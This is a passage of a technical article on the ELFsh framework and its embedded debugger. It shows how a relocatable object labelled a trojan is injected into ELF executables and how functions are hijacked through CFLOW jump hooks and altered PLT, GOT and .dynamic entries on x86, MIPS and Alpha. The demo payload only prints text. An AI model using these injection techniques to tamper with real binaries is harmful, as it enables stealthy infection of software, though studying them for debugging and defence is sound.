0xBFE37248 0x00000000 <(null)>
0xBFE3724C 0x00000000 <(null)>

(e2dbg-0.65) continue

        [..: Embedded ELF Debugger returns to the grave :...]

First_puts

        The Embedded ELF Debugger 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

[*] Sun Jul 31 18:00:47 2005 - /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 18:00:47 2005 - /usr/lib/gconv/ISO8859-1.so loaded

(e2dbg-0.65) dumpregs

.:: Registers ::.

        [EAX] 0000000B (0000000011) <_r_debug@ld-linux.so.2 + 1208744763>
        [EBX] 08203F48 (0136331080) <.elfsh.relplt@a.out_e2dbg + 1811272>
        [ECX] 0000000B (0000000011) <_r_debug@ld-linux.so.2 + 1208744763>
        [EDX] B7F0C7C0 (3086010304) <__guard@libc.so.6 + 1656>
        [ESI] BFE3B7C4 (3219371972) <_r_debug@ld-linux.so.2 + 133149428>
        [EDI] BFE3B750 (3219371856) <_r_debug@ld-linux.so.2 + 133149312>
        [ESP] BFE3970C (3219363596) <_r_debug@ld-linux.so.2 + 133141052>
        [EBP] BFE3B738 (3219371832) <_r_debug@ld-linux.so.2 + 133149288>
        [EIP] 080483E9 (0134513641) <printf@a.out_e2dbg>

(e2dbg-0.65) linkmap

.::. Linkmap entries .::.
[01] addr : 0x00000000 dyn : 0x0804981C -
[02] addr : 0x00000000 dyn : 0xFFFFE590 -
[03] addr : 0xB7DE3000 dyn : 0xB7F0AD3C - /lib/tls/libc.so.6
[04] addr : 0xB7D95000 dyn : 0xB7DDF01C - ./ibc.so.6
[05] addr : 0xB7F29000 dyn : 0xB7F3FF14 - /lib/ld-linux.so.2
[06] addr : 0xB7D62000 dyn : 0xB7D93018 - /lib/libelfsh.so
[07] addr : 0xB7D35000 dyn : 0xB7D5D46C - /lib/libreadline.so.5
[08] addr : 0xB7D31000 dyn : 0xB7D34BB4 - /lib/libtermcap.so.2
[09] addr : 0xB7D2D000 dyn : 0xB7D2FEEC - /lib/libdl.so.2
[10] addr : 0xB7CEB000 dyn : 0xB7D2A1C0 - /lib/libncurses.so.5
```

```
[11] addr : 0xB6D84000 dyn : 0xB6D85F28 - /usr/lib/gconv/ISO8859-1.so

(e2dbg-0.65) exit

[*] Unloading object 1 (/usr/lib/gconv/ISO8859-1.so)
[*] Unloading object 2 (/lib/tls/libc.so.6)
[*] Unloading object 3 (/lib/tls/libc.so.6)
[*] Unloading object 4 (/lib/libncurses.so.5)
[*] Unloading object 5 (/lib/libdl.so.2)
[*] Unloading object 6 (/lib/libtermcap.so.2)
[*] Unloading object 7 (/lib/libreadline.so.5)
[*] Unloading object 8 (/home/elfsh/WTH/elfsh/libelfsh/libelfsh.so)
[*] Unloading object 9 (/lib/ld-linux.so.2)
[*] Unloading object 10 (./ibc.so.6)
[*] Unloading object 11 (/lib/tls/libc.so.6)
[*] Unloading object 12 (./a.out_e2dbg) *

        .:: Bye -:: The Embedded ELF Debugger 0.65

=========  END DUMP 5 =========
```

As you see, the use of the debugger is quite similar to other debuggers. The difference is about the implementation technique which allows for hardened and embedded systems debugging where ptrace is not present or disabled.

We were told [9] that the sigaction system call enables the possibility of doing step by step execution without using ptrace. We did not have time to implement it but we will provide a step-capable debugger in the very near future. Since that call is not filtered by grsecurity and seems to be quite portable on Linux, BSD, Solaris and HP-UX, it is definitely worth testing it.

---[D. Dynamic analyzers generation

Obviously, tools like ltrace [7] can be now done in elfsh scripts for multiple architectures since all the redirection stuff is available.

We also think that the framework can be used in dynamic software instrumentation. Since we support multiple architectures, we let the door open to other development team to develop such modules or extension inside the ELF shell framework.

We did not have time to include an example script for now that can do this, but we will soon. The kind of interresting stuff that could be done and improved using the framework would take its inspiration in projects like fenris [6]. That could be done for multiple architectures as soon as the instruction format type is integrated in the script engine, using the code abstraction of libasm (which is now included as sources in elfsh).

We do not deal with encryption for now, but some promising API [5] could be implemented as well for multiple architectures very easily.

-------[III. Better multiarchitecture ELF redirections

In the first issue of the Cerberus ELF interface [0], we presented a redirection technique that we called ALTPLT. This technique is not enough since it allows only for PLT redirection on existing function of the binary program so the software extension usable functions set is limited.

Morever, we noticed a bug in the previously released implementation of the ALTPLT technique : On the SPARC architecture, when calling the original function, the redirection was removed and the program continued to work as if no hook was installed. This bug came from the fact that Solaris does not use the r_offset field for computing its relocation but get the file offset by multiplying the PLT entry size by the pushed relocation offset on the stack at the moment of dynamic resolution.

We found a solution for this problem. That solution consisted in adding some architecture specific fixes at the beginning of the ALTPLT section. However, such a fix is too much architecture dependant and we started to think about an alternative technique for implementing ALTPLT. As we had implemented the DT_DEBUG technique by modifying some entries in the .dynamic sections, we discovered that many other entries are erasable and allow for a very strong and architecture independant technique for redirecting access to various sections. More precisely, when patching the DT_PLTREL entry, we are able to provide our own pointer. DT_PLTREL is an architecture dependant entry and the documentation about it is quite weak, not to say inexistant.

It actually points on the section of the executable beeing runtime relocated (e.g. GOT on x86 or mips, PLT on sparc and alpha). By changing this entry we are able to provide our own PLT or GOT, which leads to possibly extending it.

Let's first have look at the CFLOW technique and then comes back on the PLT related redirections using the DT_PLTREL modification.

---[A. CFLOW: PaX-safe static functions redirection

CFLOW is a simple but efficient technique for function redirection that are located in the host file and not having a PLT entry.

Let's see the host file that we use for this test:

```
========= BEGIN DUMP 6 =========

elfsh@WTH $ cat host.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int     legit_func(char *str)
{
  printf("legit func (%s) !\n", str);
  return (0);
}

int    main()
{
  char  *str;
  char  buff[BUFSIZ];

  read(0, buff, BUFSIZ-1);

  str = malloc(10);
  if (str == NULL)
```

```
    goto err;
  strcpy(str, "test");
  printf("First_printf %s\n", str);
  fflush(stdout);
  puts("First_puts");
  printf("Second_printf %s\n", str);

  free(str);

  puts("Second_puts");

  fflush(stdout);
  legit_func("test");
  return (0);
 err:
  printf("Malloc problem\n");
  return (-1);
}

=========  END DUMP 6 =========
```

We will here redirect the function legit_func, which is located inside host.c by the hook_func function located in the relocatable object.

Let’s look at the relocatable file that we are going to inject in the above binary.

```
========= BEGIN DUMP 7 =========

elfsh@WTH $ cat rel.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int     glvar_testreloc = 42;
int     glvar_testreloc_bss;
char    glvar_testreloc_bss2;
short   glvar_testreloc_bss3;

int     hook_func(char *str)
{
   printf("HOOK FUNC %s !\n", str);
   return (old_legit_func(str));
}

int     puts_troj(char *str)
{
  int   local = 1;
  char  *str2;

  str2 = malloc(10);
  *str2 = 'Z';
  *(str2 + 1) = 0x00;

  glvar_testreloc_bss  = 43;
  glvar_testreloc_bss2 = 44;
  glvar_testreloc_bss3 = 45;

  printf("Trojan injected ET_REL takes control now "
         "[%s:%s:%u:%u:%hhu:%hu:%u] \n",
        str2, str,
        glvar_testreloc,
        glvar_testreloc_bss,
        glvar_testreloc_bss2,
        glvar_testreloc_bss3,
        local);
```

```
  free(str2);

  putchar('e');
  putchar('x');
  putchar('t');
  putchar('c');
  putchar('a');
  putchar('l');
  putchar('l');
  putchar('!');
  putchar('\n');

  old_puts(str);

  write(1, "calling write\n", 14);
  fflush(stdout);
  return (0);
}

int     func2()
{
  return (42);
}

=========  END DUMP 7 =========
```

As you can see, the relocatable object use of unknown functions like write and putchar. Those functions do not have a symbol, plt entry, got entry, or even relocatable entry in the host file.

We can call it however using the EXTPLT technique that will be described as a standalone technique in the next part of this paper. For now we focuss on the CFLOW technique that allow for redirection of the legit_func on the hook_func. This function does not have a PLT entry and we cannot use simple PLT infection for this.

We developped a technique that is PaX safe for ondisk redirection of this kind of function. It consists of putting the good old jmp instruction at the beginning of the legit_func and redirect the flow on our own code. ELFsh will take care of executing the overwritten bytes somewhere else and gives back control to the redirected function, just after the jmp hook, so that no runtime restoration is needed and it stays PaX safe on disk.

When these techniques are used in the debugger directly in memory and not on disk, they all break the mprotect protection of PaX, which means that this flag must be disabled if you want to redirect the flow directly into memory. We use use the mprotect syscall on small code zone for beeing able to changes some specific instructions for redirection. However, we think that this technique is mostly interresting for debugging and not for other things, so it is not our priority to improve this for now.

Let's see the small ELFsh script for this example :

```
========= BEGIN DUMP 8 =========

elfsh@WTH $ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, dynamically linked, \
not stripped
elfsh@WTH $ cat relinject.esh
#!../../../vm/elfsh

load a.out
load rel.o

reladd 1 2
```

```
redir puts puts_troj
redir legit_func hook_func

save fake_aout

quit

=========  END  EXAMPLE 8 =========


   The output of the ORIGINAL binary is as follow:


========= BEGIN DUMP 9 =========

elfsh@WTH $ ./a.out

First_printf test
First_puts
Second_printf test
Second_puts
LEGIT FUNC
legit func (test) !

========= END DUMP 9 ===========


    Now let's inject the stuff:


========= BEGIN DUMP 10 ========

elfsh@WTH $ ./relinject.esh


        The ELF shell 0.65 (32 bits built) .::.

        .::. This software is under the General Public License V.2
        .::. Please visit http://www.gnu.org

~load a.out

[*] Sun Jul 31 15:30:14 2005 - New object a.out loaded

~load rel.o

[*] Sun Jul 31 15:30:14 2005 - New object rel.o loaded

~reladd 1 2
Section Mirrored Successfully !

[*] ET_REL rel.o injected succesfully in ET_EXEC a.out

~redir puts puts_troj

[*] Function puts redirected to addr 0x08047164 <puts_troj>

~redir legit_func hook_func

[*] Function legit_func redirected to addr 0x08047134 <hook_func>

~save fake_aout

[*] Object fake_aout saved successfully

~quit

[*] Unloading object 1 (rel.o)
[*] Unloading object 2 (a.out) *
        .:: Bye -:: The ELF shell 0.65
```

```
========= END DUMP 10 =========
```

Let’s now execute the modified binary.

```
========= BEGIN DUMP 11 =========

elfsh@WTH $ ./fake_aout

First_printf test
Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1]
extcall!
First_puts
calling write
Second_printf test
Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1]
extcall!
Second_puts
calling write
HOOK FUNC test !
Trojan injected ET_REL takes control now [Z:LEGIT FUNC:42:43:44:45:1]
extcall!
calling write
legit func (test) !
elfsh@WTH $

=========  END DUMP 11 =========
```

Fine. Clearly legit_func has been redirected on the hook function, and hook_func takes care of calling back the legit_func using the old symbol technique described in the first issue of the Cerberus articles serie.

Let’s see the original legit_func code which is redirected using the CFLOW technique on the x86 architecture :

```
========= BEGIN DUMP 12 =========

080484C0 legit_func + 0        push   %ebp
080484C1 legit_func + 1        mov    %esp,%ebp
080484C3 legit_func + 3        sub    $8,%esp
080484C6 legit_func + 6        mov    $<_IO_stdin_used + 4>,(%esp,1)
080484CD legit_func + 13       call   <.plt + 32>
080484D2 legit_func + 18       mov    $<_IO_stdin_used + 15>,(%esp,1)

========= END DUMP 12 =========
```

Now the modified code:

```
========= BEGIN DUMP 13 =========

080484C0 legit_func + 0        jmp    <hook_legit_func>
080484C5 legit_func + 5        nop
080484C6 legit_func + 6        mov    $<_IO_stdin_used + 4>,(%esp,1)
080484CD legit_func + 13       call   <puts>
080484D2 legit_func + 18       mov    $<_IO_stdin_used + 15>,(%esp,1)
080484D9 legit_func + 25       mov    8(%ebp),%eax
080484DC legit_func + 28       mov    %eax,4(%esp,1)
080484E0 legit_func + 32       call   <printf>
080484E5 legit_func + 37       leave
080484E6 legit_func + 38       xor    %eax,%eax

========= END DUMP 13 =========
```

We create a new section .elfsh.hooks whoose data is an array
of hook code stubs like this one:

```
========= BEGIN DUMP 14 =========

08042134 hook_legit_func + 0   jmp    <hook_func>
08042139 old_legit_func  + 0   push   %ebp
0804213A old_legit_func  + 1   mov    %esp,%ebp
0804213C old_legit_func  + 3   sub    $8,%esp
0804213F old_legit_func  + 6   jmp    <legit_func + 6>

========= END DUMP 14 =========
```

Because we want to be able to recall the original function (legit_func), we add the erased bytes of it, just after the first jmp. Then we call back the legit_func at the good offset (so that we do not recurse inside the hook because the function was hijacked), as you can see starting at the old_legit_func symbol of example 14.

This old symbols technique is coherent with the ALTPLT technique that we published in the first article. We can as well use the old_funcname() call inside the injected C code for calling back the good hijacked function, and we do that without a single byte restoration at runtime. That is why the CFLOW technique is PaX compatible.

For the MIPS architecture, the CFLOW technique is quite similar, we can see the result of it as well (DUMP 15 is the original binary and DUMP 16 the modified one):

```
======== BEGIN DUMP 15 =========

400400 <func>:        lui     gp,0xfc1
400404 <func+4>:      addiu   gp,gp,-21696
400408 <func+8>:      addu    gp,gp,t9
40040c <func+12>:     addiu   sp,sp,-40
400410 <func+16>:     sw      ra,36(sp)
[...]

======== END DUMP 15 =========
```

The modified func code is now :

```
======== BEGIN DUMP 16 =========

<func>
400400:       addi    t9,t9,104         # Register T9 as target function
400404:       j       0x400468 <func2>  # Direct JMP on hook function
400408:       nop                       # Delay slot
40040c:       addiu   sp,sp,-40         # The original func code
400410:       sw      ra,36(sp)
400414:       sw      s8,32(sp)
400418:       move    s8,sp
40041c:       sw      gp,16(sp)
400420:       sw      a0,40(s8)

======== END DUMP 16 =========
```

The func2 function can be anything we want, provided that it has the same number and type of parameters. When the func2 function wants to call the original function (func), then it jumps on the old_func symbol that points inside the .elfsh.hooks section

entry for this CFLOW hook. That is how looks like such a hooks
entry on the MIPS architecture :

```
 ======== BEGIN DUMP 17 =========

 <old_func>
 3ff0f4         addi    t9,t9,4876
 3ff0f8         lui     gp,0xfc1
 3ff0fc         addiu   gp,gp,-21696
 3ff100         addu    gp,gp,t9
 3ff104         j       0x400408 <func + 8>
 3ff108         nop
 3ff10c         nop

 ======== END DUMP 17 ===========
```

As you can see, the three instructions that got erased for installing the CFLOW hook at the beginning of func() are now located in the hook entry for func(), pointed by the old_func symbol. The T9 register is also reset so that we can come back to a safe situation before jumping back on func + 8.

---[B. ALTPLT technique revised

ALTPLT technique v1 was presented in the Cerberus ELF Interface [0] paper. As already stated, it was not satisfying because it was removing the hook on SPARC at the first original function call.

Since on SPARC the first 4 PLT entries are reserved, there is room for 12 instructions that would fix anything needed (actually the first PLT entry) at the moment when ALTPLT+0 takes control.

ALTPLTv2 is working indeed in 12 instructions but it needed to reencode the first ALTPLT section entry with the code from PLT+0 (which is relocated in runtime on SPARC before the main takes control, which explains why we cannot patch this on the disk statically).

By this behavior, it breaks PaX, and the implementation is very architecture dependant since its SPARC assembly. For those who want to see it, we let the code of this in the ELFsh source tree in libelfsh/sparc32.c .

For the ALPHA64 architecture, it gives pretty much the same in its respective instructions set, and this time the implementation is located in libelfsh/alpha64.c .

As you can see in the code (that we will not reproduce here for clarity of the article), ALTPLTv2 is a real pain and we needed to get rid of all this assembly code that was requesting too much efforts for potential future ports of this technique to other architectures.

Then we found the .dynamic DT_PLTREL trick and we tried to see what happened when changing this .dynamic entry inside the host binary. Changing the DT_PLTREL entry is very attractive since this is completely architecture independant so it works everywhere.

Let’s see how look like the section header table and the .dynamic section used in the really simple ALTPLTv3 technique. We use the .elfsh.altplt section as a mirror of the original .plt as explained in our first paper. The other .elfsh.* sections has been explained already or will be just after the log.

```
    The output (modified) binary looks like :


 =============== BEGIN DUMP 18 ================

 [SECTION HEADER TABLE .::. SHT is not stripped]
 [Object fake_aout]

 [000] 0x00000000 -------                  foff:00000000 sz:0000000 link:00
 [001] 0x08042134 a-x---- .elfsh.hooks     foff:00000308 sz:0000016 link:00
 [002] 0x08043134 a-x---- .elfsh.extplt    foff:00004404 sz:0000048 link:00
 [003] 0x08044134 a-x---- .elfsh.altplt    foff:00008500 sz:0004096 link:00
 [004] 0x08045134 a--ms-- rel.o.rodata.str1.32 foff:12596 sz:4096  link:00
 [005] 0x08046134 a--ms-- rel.o.rodata.str1.1  foff:16692 sz:4096  link:00
 [006] 0x08047134 a-x---- rel.o.text       foff:00020788 sz:0004096 link:00
 [007] 0x08048134 a------ .interp          foff:00024884 sz:0000019 link:00
 [008] 0x08048148 a------ .note.ABI-tag    foff:00024904 sz:0000032 link:00
 [009] 0x08048168 a------ .hash            foff:00024936 sz:0000064 link:10
 [010] 0x080481A8 a------ .dynsym          foff:00025000 sz:0000176 link:11
 [011] 0x08048258 a------ .dynstr          foff:00025176 sz:0000112 link:00
 [012] 0x080482C8 a------ .gnu.version     foff:00025288 sz:0000022 link:10
 [013] 0x080482E0 a------ .gnu.version_r   foff:00025312 sz:0000032 link:11
 [014] 0x08048300 a------ .rel.dyn         foff:00025344 sz:0000016 link:10
 [015] 0x08048310 a------ .rel.plt         foff:00025360 sz:0000056 link:10
 [016] 0x08048348 a-x---- .init            foff:00025416 sz:0000023 link:00
 [017] 0x08048360 a-x---- .plt             foff:00025440 sz:0000128 link:00
 [018] 0x08048400 a-x---- .text            foff:00025600 sz:0000736 link:00
 [019] 0x080486E0 a-x---- .fini            foff:00026336 sz:0000027 link:00
 [020] 0x080486FC a------ .rodata          foff:00026364 sz:0000116 link:00
 [021] 0x08048770 a------ .eh_frame        foff:00026480 sz:0000004 link:00
 [022] 0x08049774 aw----- .ctors           foff:00026484 sz:0000008 link:00
 [023] 0x0804977C aw----- .dtors           foff:00026492 sz:0000008 link:00
 [024] 0x08049784 aw----- .jcr             foff:00026500 sz:0000004 link:00
 [025] 0x08049788 aw----- .dynamic         foff:00026504 sz:0000200 link:11
 [026] 0x08049850 aw----- .got             foff:00026704 sz:0000004 link:00
 [027] 0x08049854 aw----- .got.plt         foff:00026708 sz:0000040 link:00
 [028] 0x0804987C aw----- .data            foff:00026748 sz:0000012 link:00
 [029] 0x08049888 aw----- .bss             foff:00026760 sz:0000008 link:00
 [030] 0x08049890 aw----- rel.o.bss        foff:00026768 sz:0004096 link:00
 [031] 0x0804A890 aw----- rel.o.data       foff:00030864 sz:0000004 link:00
 [032] 0x0804A894 aw----- .elfsh.altgot    foff:00030868 sz:0000048 link:00
 [033] 0x0804A8E4 aw----- .elfsh.dynsym    foff:00030948 sz:0000208 link:34
 [034] 0x0804AA44 aw----- .elfsh.dynstr    foff:00031300 sz:0000127 link:33
 [035] 0x0804AB24 aw----- .elfsh.reldyn    foff:00031524 sz:0000016 link:00
 [036] 0x0804AB34 aw----- .elfsh.relplt    foff:00031540 sz:0000072 link:00
 [037] 0x00000000 ------- .comment         foff:00031652 sz:0000665 link:00
 [038] 0x00000000 ------- .debug_aranges   foff:00032324 sz:0000120 link:00
 [039] 0x00000000 ------- .debug_pubnames  foff:00032444 sz:0000042 link:00
 [040] 0x00000000 ------- .debug_info      foff:00032486 sz:0006871 link:00
 [041] 0x00000000 ------- .debug_abbrev    foff:00039357 sz:0000511 link:00
 [042] 0x00000000 ------- .debug_line      foff:00039868 sz:0000961 link:00
 [043] 0x00000000 ------- .debug_frame     foff:00040832 sz:0000072 link:00
 [044] 0x00000000 ---ms-- .debug_str       foff:00040904 sz:0008067 link:00
 [045] 0x00000000 ------- .debug_macinfo   foff:00048971 sz:0029295 link:00
 [046] 0x00000000 ------- .shstrtab        foff:00078266 sz:0000507 link:00
 [047] 0x00000000 ------- .symtab          foff:00080736 sz:0002368 link:48
 [048] 0x00000000 ------- .strtab          foff:00083104 sz:0001785 link:47

 [SHT_DYNAMIC]
 [Object ./testsuite/etrel_inject/etrel_original/fake_aout]

 [00] Name of needed library            =>         libc.so.6 {DT_NEEDED}
 [01] Address of init function          =>        0x08048348 {DT_INIT}
 [02] Address of fini function          =>        0x080486E0 {DT_FINI}
 [03] Address of symbol hash table      =>        0x08048168 {DT_HASH}
 [04] Address of dynamic string table   =>        0x0804AA44 {DT_STRTAB}
 [05] Address of dynamic symbol table   =>        0x0804A8E4 {DT_SYMTAB}
 [06] Size of string table              =>    00000127 bytes {DT_STRSZ}
 [07] Size of symbol table entry        =>    00000016 bytes {DT_SYMENT}
 [08] Debugging entry (unknown)         =>        0x00000000 {DT_DEBUG}
```

```
 [09] Processor defined value          =>          0x0804A894 {DT_PLTGOT}
 [10] Size in bytes for .rel.plt       =>      000072 bytes {DT_PLTRELSZ}
 [11] Type of reloc in PLT             =>            00000017 {DT_PLTREL}
 [12] Address of .rel.plt              =>          0x0804AB34 {DT_JMPREL}
 [13] Address of .rel.got section      =>          0x0804AB24 {DT_REL}
 [14] Total size of .rel section       =>      00000016 bytes {DT_RELSZ}
 [15] Size of a REL entry              =>      00000008 bytes {DT_RELENT}
 [16] SUN needed version table         =>          0x80482E0 {DT_VERNEED}
 [17] SUN needed version number        =>             001 {DT_VERNEEDNUM}
 [18] GNU version VERSYM               =>          0x080482C8 {DT_VERSYM}

 =============== END DUMP 18 ================
```

As you can see, various sections has been copied and extended, and their entries in .dynamic changed. That holds for .got (DT_PLTGOT), .rel.plt (DT_JMPREL), .dynsym (DT_SYMTAB), and .dynstr (DT_STRTAB). Changing those entries allow for the new ALTPLT technique without any line of assembly.

Of course the ALTPLT technique version 3 does not need any non-mandatory information like debug sections. It may sound obvious but some peoples really asked this question.

---[C. ALTGOT technique : the RISC complement

On the MIPS architecture, calls to PLT entries are done differently. Indeed, instead of a direct call instruction on the entry, an indirect jump is used for using the GOT entry linked to the desired function. If such entry is filled, then the function is called directly. By default, the GOT entries contains the pointer on the PLT entries. During the execution eventually, the dynamic linker is called for relocating the GOT section (MIPS, x86) or the PLT section (on SPARC or ALPHA).

Here is the MIPS assembly log that prove this on some dumb helloworld program using printf :

```
00400790 <main>:
400790:  3c1c0fc0   lui     gp,0xfc0        # Set GP to GOT base
400794:  279c78c0   addiu   gp,gp,30912     # address + 0x7ff0
400798:  0399e021   addu    gp,gp,t9        # using t9 (= main)
40079c:  27bdffe0   addiu   sp,sp,-32
4007a0:  afbf001c   sw      ra,28(sp)
4007a4:  afbe0018   sw      s8,24(sp)
4007a8:  03a0f021   move    s8,sp
4007ac:  afbc0010   sw      gp,16(sp)
4007b0:  8f828018   lw      v0,-32744(gp)
4007b4:  00000000   nop
4007b8:  24440a50   addiu   a0,v0,2640
4007bc:  2405002a   li      a1,42
4007c0:  8f828018   lw      v0,-32744(gp)
4007c4:  00000000   nop
4007c8:  24460a74   addiu   a2,v0,2676
4007cc:  8f99803c   lw      t9,-32708(gp)   # Load printf GOT entry
4007d0:  00000000   nop
4007d4:  0320f809   jalr    t9              # and jump on it
4007d8:  00000000   nop
4007dc:  8fdc0010   lw      gp,16(s8)
4007e0:  00001021   move    v0,zero
4007e4:  03c0e821   move    sp,s8
4007e8:  8fbf001c   lw      ra,28(sp)
4007ec:  8fbe0018   lw      s8,24(sp)
4007f0:  27bd0020   addiu   sp,sp,32
4007f4:  03e00008   jr      ra              # return from the func
4007f8:  00000000   nop
4007fc:  00000000   nop
```

We note that the global pointer register %gp is always set on the GOT section base address on MIPS, more or less some fixed signed offset, in our case 0x7ff0 (0x8000 on ALPHA).

In order to call a function whoose address is unknown, the GOT entries are filled and then the indirect jump instruction on MIPS does not use the PLT entry anymore. What do we learn from this ? Simply that we cannot rely on a classical PLT hijacking because the PLT entry code wont be called if the GOT entry is already filled, which means that we will hijack the function only the first time.

Because of this, we will hijack functions using GOT patching on MIPS. However it does not resolve the problem of recalling the original function. In order to allow such recall, we will just insert the old_ symbols on the real PLT entry, so that we can still access the dynamic linking mechanism code stub even if the GOT has been modified.

Let’s see the detailed results of the ALTGOT technique on the ALPHA and MIPS architecture. It was done without a single line of assembly code which makes it very portable :

```
========= BEGIN DUMP 19 =========

elfsh@alpha$ cat host.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
  char  *str;

  str = malloc(10);
  if (str == NULL)
    goto err;
  strcpy(str, "test");
  printf("First_printf %s\n", str);
  fflush(stdout);
  puts("First_puts");
  printf("Second_printf %u\n", 42);
  puts("Second_puts");
  fflush(stdout);
  return (0);
 err:
  printf("Malloc problem %u\n", 42);
  return (-1);
}

elfsh@alpha$ gcc host.c -o a.out
elfsh@alpha$ file ./a.out
a.out: ELF 64-bit LSB executable, Alpha (unofficial), for NetBSD 2.0G,
      dynamically linked, not stripped

========= END DUMP 19 =========
```

The original binary executes:

```
========= BEGIN DUMP 20 =========

elfsh@alpha$ ./a.out
First_printf test
First_puts
Second_printf 42
Second_puts
```

```
========= END DUMP 20 ==========
```

Let’s look again the relocatable object we are injecting:

```
========= BEGIN DUMP 21 =========

elfsh@alpha$ cat rel.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int     glvar_testreloc = 42;

int     glvar_testreloc_bss;
char    glvar_testreloc_bss2;
short   glvar_testreloc_bss3;


int     puts_troj(char *str)
{
  int   local = 1;
  char  *str2;

  str2 = malloc(10);
  *str2 = 'Z';
  *(str2 + 1) = 0x00;

  glvar_testreloc_bss  = 43;
  glvar_testreloc_bss2 = 44;
  glvar_testreloc_bss3 = 45;

  printf("Trojan injected ET_REL takes control now "
        "[%s:%s:%u:%u:%hhu:%hu:%u] \n",
        str2, str,
        glvar_testreloc,
        glvar_testreloc_bss,
        glvar_testreloc_bss2,
        glvar_testreloc_bss3,
        local);

  old_puts(str);
  fflush(stdout);
  return (0);
}

int     func2()
{
  return (42);
}

========= END DUMP 21 =========
```

As you can see, the relocatable object rel.c uses old_ symbols which means that it relies on the ALTPLT technique. However we do not perform EXTPLT technique on ALPHA and MIPS yet so we are not able to call unknown function from the binary on those architectures for now. Our rel.c is a copy from the one in example 7 without the calls to the unknown functions write and putchar of example 7.

Now we inject the stuff:

```
========= BEGIN DUMP 22 =========

elfsh@alpha$ ./relinject.esh > relinject.out
```

```
elfsh@alpha$ ./fake_aout
First_printf test
Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1]
First_puts
Second_printf 42
Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1]
Second_puts

========= END DUMP 22 ==========
```

The section list on ALPHA is then as follow. A particular look at the injected sections is recommended :

```
========= BEGIN DUMP 23 =========

elfsh@alpha$ elfsh -f fake_aout -s -p

[*] Object fake_aout has been loaded (O_RDONLY)

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object fake_aout]

[000] 0x000000000 -------                          foff:00000 sz:00000
[001] 0x120000190 a------ .interp                  foff:00400 sz:00023
[002] 0x1200001A8 a------ .note.netbsd.ident       foff:00424 sz:00024
[003] 0x1200001C0 a------ .hash                    foff:00448 sz:00544
[004] 0x1200003E0 a------ .dynsym                  foff:00992 sz:00552
[005] 0x120000608 a------ .dynstr                  foff:01544 sz:00251
[006] 0x120000708 a------ .rela.dyn                foff:01800 sz:00096
[007] 0x120000768 a------ .rela.plt                foff:01896 sz:00168
[008] 0x120000820 a-x---- .init                    foff:02080 sz:00128
[009] 0x1200008A0 a-x---- .text                    foff:02208 sz:01312
[010] 0x120000DC0 a-x---- .fini                    foff:03520 sz:00104
[011] 0x120000E28 a------ .rodata                  foff:03624 sz:00162
[012] 0x120010ED0 aw----- .data                    foff:03792 sz:00000
[013] 0x120010ED0 a------ .eh_frame                foff:03792 sz:00004
[014] 0x120010ED8 aw----- .dynamic                 foff:03800 sz:00352
[015] 0x120011038 aw----- .ctors                   foff:04152 sz:00016
[016] 0x120011048 aw----- .dtors                   foff:04168 sz:00016
[017] 0x120011058 aw----- .jcr                     foff:04184 sz:00008
[018] 0x120011060 awx---- .plt                     foff:04192 sz:00116
[019] 0x1200110D8 aw----- .got                     foff:04312 sz:00240
[020] 0x1200111C8 aw----- .sdata                   foff:04552 sz:00024
[021] 0x1200111E0 aw----- .sbss                    foff:04576 sz:00024
[022] 0x1200111F8 aw----- .bss                     foff:04600 sz:00056
[023] 0x120011230 a-x---- rel.o.text               foff:04656 sz:00320
[024] 0x120011370 aw----- rel.o.sdata              foff:04976 sz:00008
[025] 0x120011378 a--ms-- rel.o.rodata.str1.1 foff:04984 sz:00072
[026] 0x1200113C0 a-x---- .alt.plt.prolog          foff:05056 sz:00048
[027] 0x1200113F0 a-x---- .alt.plt                 foff:05104 sz:00120
[028] 0x120011468 a------ .alt.got                 foff:05224 sz:00072
[029] 0x1200114B0 aw----- rel.o.got                foff:05296 sz:00080
[030] 0x000000000 ------- .comment                 foff:05376 sz:00240
[031] 0x000000000 ------- .debug_aranges           foff:05616 sz:00048
[032] 0x000000000 ------- .debug_pubnames          foff:05664 sz:00027
[033] 0x000000000 ------- .debug_info              foff:05691 sz:02994
[034] 0x000000000 ------- .debug_abbrev            foff:08685 sz:00337
[035] 0x000000000 ------- .debug_line              foff:09022 sz:00373
[036] 0x000000000 ------- .debug_frame             foff:09400 sz:00048
[037] 0x000000000 ---ms-- .debug_str               foff:09448 sz:01940
[038] 0x000000000 ------- .debug_macinfo           foff:11388 sz:12937
[039] 0x000000000 ------- .ident                   foff:24325 sz:00054
[040] 0x000000000 ------- .shstrtab                foff:24379 sz:00393
[041] 0x000000000 ------- .symtab                  foff:27527 sz:02400
[042] 0x000000000 ------- .strtab                  foff:29927 sz:00948

[Program header table .::. PHT]
[Object fake_aout]
```

```
 [00] 0x120000040 -> 0x120000190 r-x  => Program header table
 [01] 0x120000190 -> 0x1200001A7 r--  => Program interpreter
 [02] 0x120000000 -> 0x120000ECA r-x  => Loadable segment
 [03] 0x120010ED0 -> 0x120011510 rwx  => Loadable segment
 [04] 0x120010ED8 -> 0x120011038 rw-  => Dynamic linking info
 [05] 0x1200001A8 -> 0x1200001C0 r--  => Auxiliary information

 [Program header table .::. SHT correlation]
 [Object fake_aout]

 [*] SHT is not stripped

 [00] PT_PHDR
 [01] PT_INTERP          .interp
 [02] PT_LOAD            .interp .note.netbsd.ident .hash .dynsym .dynstr
                         .rela.dyn .rela.plt .init .text .fini .rodata
 [03] PT_LOAD            .data .eh_frame .dynamic .ctors .dtors .jcr .plt
                         .got .sdata .sbss .bss rel.o.text rel.o.sdata
                         rel.o.rodata.str1.1 .alt.plt.prolog .alt.plt
                         .alt.got rel.o.got
 [04] PT_DYNAMIC         .dynamic
 [05] PT_NOTE            .note.netbsd.ident

 [*] Object fake_aout unloaded

 ========= END DUMP 23 =========
```

